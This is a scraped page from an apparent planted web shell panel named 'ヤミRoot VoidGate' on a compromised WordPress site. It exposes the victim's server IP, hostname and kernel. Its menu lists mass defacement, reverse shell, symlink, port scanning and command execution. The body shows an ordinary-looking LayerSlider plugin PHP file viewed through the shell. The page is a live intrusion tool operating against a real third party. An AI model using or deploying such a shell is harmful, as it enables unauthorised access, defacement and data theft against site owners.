ヤミRoot VoidGate
User / IP
:
216.73.217.27
Host / Server
:
188.165.53.185 / urgencetoiture.be
System
:
Linux webm002.cluster121.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue Sep 17 08:14:20 UTC 2024 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
urgencetin
/
www
/
wp-content
/
plugins
/
LayerSlider
/
assets
/
includes
/
Viewing: slider_markup_init.php
<?php // Prevent direct file access defined( 'LS_ROOT_FILE' ) || exit; // Override popup triggers for layer action if( ! empty( $GLOBALS['lsAjaxOverridePopupSettings'] ) ) { $slides['properties']['attrs']['popupShowOnTimeout'] = 0; $slides['properties']['attrs']['popupShowOnce'] = false; if( ! empty( $_GET['slide'] ) ) { $slides['properties']['attrs']['firstSlide'] = (int) $_GET['slide']; } } // Get init code foreach($slides['properties']['attrs'] as $key => $val) { if(is_bool($val)) { $val = $val ? 'true' : 'false'; $init[] = $key.': '.$val; } elseif(is_numeric($val)) { $init[] = $key.': '.$val; } else { $init[] = "$key: '$val'"; } } // Full-size sliders if( ( !empty($slides['properties']['attrs']['type']) && $slides['properties']['attrs']['type'] === 'fullsize' ) && ( empty($slides['properties']['attrs']['fullSizeMode']) || $slides['properties']['attrs']['fullSizeMode'] !== 'fitheight' ) ) { $init[] = 'height: '.$slides['properties']['props']['height'].''; } // Popup if( !empty($slides['properties']['attrs']['type']) && $slides['properties']['attrs']['type'] === 'popup' ) { $lsPlugins[] = 'popup'; } if( ! empty( $lsPlugins ) ) { $lsPlugins = array_unique( $lsPlugins ); sort( $lsPlugins ); $init[] = 'plugins: ' . json_encode( $lsPlugins ); } if( get_option('ls_suppress_debug_info', false ) ) { $init[] = 'hideWelcomeMessage: true'; } if( ! empty( $GLOBALS['lsInitAjaxURL'] ) ) { $init[] = "ajaxURL: '".admin_url( 'admin-ajax.php' )."'"; } $callbacks = []; if( ! empty( $slides['callbacks'] ) && is_array( $slides['callbacks'] ) ) { foreach( $slides['callbacks'] as $event => $function ) { $callbacks[] = $event.': '.stripslashes( $function ); } } $separator = apply_filters( 'layerslider_init_props_separator', ', '); $initObj = implode( $separator, $init ); $eventsObj = ! empty( $callbacks ) ? ', {'.implode( $separator, $callbacks ).'}' : ''; if( ! empty( $slides['properties']['props']['loadOrder'] ) ) { $loadOrder = $slides['properties']['props']['loadOrder']; $lsInit[] = 'window._layerSlidersOrder = window._layerSlidersOrder || [];'; $lsInit[] = 'window._layerSlidersOrder['.$loadOrder.'] = window._layerSlidersOrder['.$loadOrder.'] || [];'; $lsInit[] = 'window._layerSlidersOrder['.$loadOrder.'].push( \'#'.$sliderID.'\' );'; } $lsInit[] = 'jQuery(function() { _initLayerSlider( \'#'.$sliderID.'\', {'.$initObj.'}'.$eventsObj.'); });';
Coded With 💗 by
0x6ick